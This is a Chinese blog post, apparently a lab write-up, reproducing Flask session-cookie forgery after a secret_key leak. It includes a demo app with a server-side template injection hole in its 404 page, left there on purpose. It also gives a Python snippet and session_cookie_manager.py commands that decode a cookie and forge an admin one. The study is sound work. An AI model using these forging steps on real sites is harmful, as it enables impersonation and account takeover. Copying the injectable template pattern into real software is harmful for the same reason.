客戶端session安全問題(flask)
前幾天看p牛的文章,學習了一波關於客戶端session的操作,文末提到了金鑰洩露,進一步可能造成身份偽造或者反序列化漏洞,於是自己搭了個flask環境做一下偽造身份的復現並做一下記錄。
#0x01 什麼是客戶端session
對於我們熟悉的其它web開發環境,大部分對於session的處理都是將session寫入伺服器本地一個檔案,然後在cookie裡設定一個sessionId的欄位來區分不同使用者(常常是'/tmp/sess_'+sessionID),這一類就是在學校裡學到的session儲存在服務端,cookie儲存在客戶端的那鍾服務端session。
然而,有些語言本身並不帶有良好的session儲存機制,於是採用其它的方法去對session進行處理,比如Django預設將session存在資料庫裡(剛知道=。=),而輕量的flask對資料庫操作的框架也沒有,選擇了將session整個的存到cookie裡(當然是加密後的),所以叫做客戶端session。
#0x02 flask對session的處理
sessions.py:
def get_signing_serializer(self, app): if not app.secret_key: return None signer_kwargs = dict( key_derivation=self.key_derivation, digest_method=self.digest_method ) return URLSafeTimedSerializer(app.secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs) def open_session(self, app, request): s = self.get_signing_serializer(app) if s is None: return None val = request.cookies.get(app.session_cookie_name) if not val: return self.session_class() max_age = total_seconds(app.permanent_session_lifetime) try: data = s.loads(val, max_age=max_age) return self.session_class(data) except BadSignature: return self.session_class() def save_session(self, app, session, response): domain = self.get_cookie_domain(app) path = self.get_cookie_path(app) # If the session is modified to be empty, remove the cookie. # If the session is empty, return without setting the cookie. if not session: if session.modified: response.delete_cookie( app.session_cookie_name, domain=domain, path=path ) return # Add a "Vary: Cookie" header if the session was accessed at all. if session.accessed: response.vary.add('Cookie') if not self.should_set_cookie(app, session): return httponly = self.get_cookie_httponly(app) secure = self.get_cookie_secure(app) samesite = self.get_cookie_samesite(app) expires = self.get_expiration_time(app, session) val = self.get_signing_serializer(app).dumps(dict(session)) response.set_cookie( app.session_cookie_name, val, expires=expires, httponly=httponly, domain=domain, path=path, secure=secure, samesite=samesite )
其中open和save分別對應著session的讀取和寫入,會開啟一個URLSafeTimedSerializer物件,調取它的loads或是dumps方法,URLSafeTimedSerializer繼承了URLSafeSerializerMixin和TimedSerializer,包含了一些序列化處理。
在預設情況下,除了app.secret_key的值是未知的,其它的引數都是固定好的,如果專案使用了session機制,secret_key欄位是被強制要求設定的,可以通過在配置檔案裡寫入固定字串或啟動時隨機生成來獲得,假如攻擊者通過任意檔案讀取或其它手段拿到了專案的secret_key,那麼完全有可能解密和偽造cookie來控制使用者身份,進而做一些不可描述的事情。
例如如下程式碼:
from itsdangerous import * import hashlib from flask.json.tag import TaggedJSONSerializer secret_key='f9cb5b2f-b670-4584-aad4-3e0603e011fe' salt='cookie-session' serializer=TaggedJSONSerializer() signer_kwargs=dict(key_derivation='hmac',digest_method=hashlib.sha1) sign_cookie='eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.XAquJg.AUEZAdrYhYCk3pg4iYy_NIpfpD0' val = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs) data= val.loads(sign_cookie) print data #{u'username': u'test'} crypt= val.dumps({'username': 'admin'}) print crypt
#0x03 flask的身份偽造復現
測試用的程式碼比較簡單。
main.py:
# coding:utf8 import uuid from flask import Flask, request, make_response, session,render_template, url_for, redirect, render_template_string app = Flask(__name__) app.config['SECRET_KEY']=str(uuid.uuid4()) @app.route('/') def index(): app.logger.info(request.cookies) try: username=session['username'] return render_template("index.html",username=username) except Exception,e: return """<form action="%s" method='post'> <input type="text" name="username" required> <input type="password" name="password" required> <input type="submit" value="登入"> </form>""" %url_for("login") @app.route("/login/", methods=['POST']) def login(): username = request.form.get("username") password = request.form.get("password") app.logger.info(username) if username.strip(): if username=="admin" and password!=str(uuid.uuid4()): return "login failed" app.logger.info(url_for('index')) resp = make_response(redirect(url_for("index"))) session['username']=username return resp else: return "login failed" @app.errorhandler(404) def page_not_found(e): template=''' {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} '''%(request.url) return render_template_string(template),404 @app.route("/logout") def logout(): resp = make_response(redirect(url_for("index"))) session.pop('username') return resp if __name__ == "__main__": app.run(host="0.0.0.0", port=9999, debug=True)
templates/index.html:
<!DOCTYPE html> <html> <body> username: {{ username }}, <a href="{{ url_for('logout') }}">logout</a> </body> </html>
主要實現了一個session實現的登入操作,並特意留下了一個404頁面的ssti(關於flask的ctf比賽中常常會出現,據說開發人員經常會貪圖省事,不去單獨建立模板檔案而使用這樣的模板字串),可能還有其它bug。
登入會顯示使用者名稱,正常情況下,admin使用者是無法登入的。
利用404頁面的ssti讀取內建變數,還有其它一些常用方法可以參考:https://blog.csdn.net/qq_33020901/article/details/83036927
我之前登入的cookie是:Cookie: session=eyJ1c2VybmFtZSI6ImhlaGUifQ.XApTkw.zcIUPrpo71h_doQs_GKtDlLesP8
使用session_cookie_manager.py解開得到使用者資訊。
[[email protected] temp]# python session_cookie_manager.py decode -s "a8bc2e85-d628-40f0-a56d-a86b19b4c1f9" -c "eyJ1c2VybmFtZSI6ImhlaG UifQ.XApTkw.zcIUPrpo71h_doQs_GKtDlLesP8"
{u'username': u'hehe'}
偽造admin使用者身份:
[[email protected] temp]# python session_cookie_manager.py encode -s "a8bc2e85-d628-40f0-a56d-a86b19b4c1f9" -t "{u'username': u'admin' }"
eyJ1c2VybmFtZSI6ImFkbWluIn0.XArr2w.O2zQzR4fFLCrGhDLjWol8-mLp7E
提交生成的cookie:
直接用admin身份成功登入。:)
#0x04感想
作為一個程式設計師,在需要開發某些功能或實現某些服務時經常會把別人實現好的程式碼粗略看看就拿來用了,這篇文章教會我在特定情況下,如果對程式碼的實現不夠了解,某些不是漏洞的機密配置不做修改,就會在你毫不知情的情況下,成為給他人開啟防禦大門的內奸,關鍵是你出了問題還不知道問題根源在哪裡==。
參考:
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://blog.csdn.net/qq_33850304/article/details/84726296